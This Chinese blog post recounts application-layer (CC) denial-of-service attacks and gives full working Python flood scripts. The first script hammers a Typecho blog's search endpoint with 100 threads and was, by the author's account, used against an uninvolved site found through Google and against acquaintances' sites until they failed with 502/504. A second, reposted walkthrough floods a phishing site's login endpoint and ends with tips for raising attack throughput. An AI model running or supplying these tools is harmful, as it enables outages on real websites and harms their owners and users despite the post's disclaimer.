本文已公开,仅供大家学习参考,任何人不得将本文代码/思路用于非法用途,否则后果自负!
前言
5月26号晚上尝试requests
方法时突发奇想,刚好偶遇知乎大佬post
方法拿下一个盗号网站,于是乎踏上了CC
实战道路。
漏洞的发现
很多typecho
博客搜索框无频次限制/验证码漏洞,借此可生成随机数并用get
方法多线程并发传递实现简单的CC
攻击。
实战过程
发现董敬涛网站存在此漏洞,告知其后得知其不希望自己网站受到攻击,猜测Joe
主题普遍存在此漏洞,Google
搜索出一个网站(无辜的可怜的家伙)并对其展开了多线程测试。它的域名在这里就不做记录了。
实战总结
当天晚上的效果:
第二天下午的效果:
至此,此项多线程技术得到了一轮完整的应用,期间还短暂地借助一些身边人的网站进行了测试,结果不是打不开就是502/504。
多线程实战测试到此也算告一段落了,如无特殊需求我也不会再无聊的进行下一次此番操作了。
实战代码
start cmd /k "python cc.py"
start cmd /k "python cc.py"
start cmd /k "python cc.py"
start cmd /k "python cc.py"
start cmd /k "python cc.py"
import requests
import random
import threading
from datetime import datetime
from time import sleep
lock = threading.Lock()
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}
success_count = 0
error_count = 0
def log(text):
print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)
def d_dos():
session = requests.session()
#session.headers = header
global error_count
global success_count
while True:
ss = random.randint(10**25,10**35)
sss = 'http://blog.xxxxxx.cn/?s=' + str(ss)
try:
r = requests.get(url=str(sss),headers=headers)
except:
lock.acquire()
log('报错,直接跳过... *{}'.format(error_count))
error_count += 1
lock.release()
continue
code = r.status_code
lock.acquire()
if code == 200:
log('提交成功...OK! *接口:{}'.format(sss))
success_count +=1
else:
log('提交失败...failed! *接口:{}'.format(sss))
error_count += 1
lock.release()
#print(sss)
#print(r.text)
if __name__ == '__main__':
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
print('线程{}启动...'.format(i))
sleep(0.1)
知乎大佬原文
一、背景
今天在群里,看到有个大佬发了个盗号网站的链接:http://154.221.20.240/Mali1/
这个网站伪装成qq邮箱登录,实际上就是骗你的qq号的,在手机上打开还真像那么回事。
之前也D过不少盗号网站,但总觉得独乐乐不如众乐乐,今天就想着把过程写下来,给大家看
看。大家没事的时候看到这种盗号网站也可以去练练手。本文章也仅仅是从较为简单的DDOS
入手。
二、分析网站
通过wappalyzer,可以看到这个网站运行在一台windows服务器上,一个简单的asp网页:
服务器地址在美国,web应用程序是IIS。
*F12打开浏览器控制台,随便输入一个账号密码看看:*
*捕获了一个post请求,地址为:http://154.221.20.240/Mali1/4.asp?sn_sid=*
网页反馈密码错误,然后跳到了qq邮箱的官网。
*post的参数如下:*
这个参数名是认真的么 – -!
我们要进行DDOS,那么就要从这个post请求入手。
三、构建DDOS程序
我们可以使用python的requests库构建http post请求,使用random库生成随机账号密码,并使用多线程来实现DDOS。
1.构建随机账号密码
def random_user_pass():
user = random.randint(10**5,10**10) #随机5-10位QQ号
password = ''
password_len = random.randint(9,28) #随机9-28位密码
for i in range(password_len):
code = random.randint(48,122) #取ASCII码48-122转为字符串
password += chr(code)
return user,password
*运行一下,随机生成了一个账号密码:*
(3301962676, 'akDk@Qb3Xe71ojwap2e>Qctq@')
2.调用生成的账号密码,post给盗号网站
原理很简单,就是*通过requests构建post请求,将数据发送给盗号网站*,模拟网页“登录”的操作。
def d_dos():
session = requests.session()
session.headers = header
while True:
user,password = random_user_pass()
data = {
'qq':user,
'mima':password,
'MM_insert':'form1'
}
r = session.post(api,data=data,timeout=5)
code = r.status_code
if code == 200:
print('提交成功...OK! 账号:{},密码: {}'.format(user,password))
else:
print('提交失败...failed!')
*运行一下,一瞬间提交给了盗号网站N多随机账号密码:*
3.加点错误处理,保证稳定运行
上面程序设置了超时为5秒,当连接超时会报错。在http请求中,会有各种各样的错误,导致程序崩溃,所以我们这里就简单粗暴加一*个忽略所有错误的错误处理:
try:
r = session.post(api,data=data,timeout=5)
except:
print('报错,直接跳过...')
continue
4.加个多线程
单线程的请求当然是搞不死这个网站的,所以我们要对这个程序*使用多线程处理*:
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
print('线程{}启动...'.format(i))
这样我们就成功实现了*100线程*的同时请求,运行一下:
控制台疯狂刷新。
5.优化一下,加个线程锁
到上一步其实这个简单的程序已经可以使用了,但是还不够人性化,最好能显示出提交的次数,失败的次数等。但是这里是多线程,如果直接定义一个变量来存储次数的话,100个线程一起修改这个变量,最后一定会崩。*好在python的多线程模块提供了线程锁,我们可以先对变量加锁,修改完了再解锁。*
*完整代码如下*
import requests
import threading
import random
from datetime import datetime
from time import sleep
lock = threading.Lock()
api = 'http://154.221.20.240/Mali1/4.asp?sn_sid='
header = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}
success_count = 0
error_count = 0
def log(text):
print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)
def d_dos():
session = requests.session()
session.headers = header
global error_count
global success_count
while True:
user,password = random_user_pass()
data = {
'qq':user,
'mima':password,
'MM_insert':'form1'
}
try:
r = session.post(api,data=data,timeout=5)
except:
lock.acquire()
log('报错,直接跳过... *{}'.format(error_count))
error_count += 1
lock.release()
continue
code = r.status_code
lock.acquire()
if code == 200:
log('提交成功...OK! *{} 账号:{},密码: {}'.format(success_count,user,password))
success_count +=1
else:
log('提交失败...failed! *{} 状态码:{}'.format(error_count,r.status_code))
error_count += 1
lock.release()
def random_user_pass():
user = random.randint(10**5,10**10)
password = ''
password_len = random.randint(9,28)
for i in range(password_len):
code = random.randint(48,122)
password += chr(code)
return user,password
if __name__ == '__main__':
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
log('线程{}启动...'.format(i))
sleep(0.1)
四、其他
以下几点注意:
1. requests库python不自带,用pip安装即可
2. 因为是示范用的代码,代码写的十分辣眼睛,还有很多优化空间,不要介意
3. 把控制台输出去掉,可以极大提升DDOS的性能(去掉print的代码)
4. 因为python的多线程机制,和requests库的原因,建议不要开太高线程,电脑容易卡死
5. 如果想要用DDOS里的流量攻击,那么可以去下载他的静态资源或者web页面
6. 这个程序其实严格意义来说是cc攻击,并发提交大量的无意义数据,刷他的数据库
7. 不要用于正规网站,通过你的IP分分钟查得到你的人
tag:
文章首发于小伟博客:https://www.xiaoweigod.com/ 欢迎大家关注!
版权属于:soarli
本文链接:https://blog.soarli.top/archives/202105cc.html
转载时须注明出处及本声明。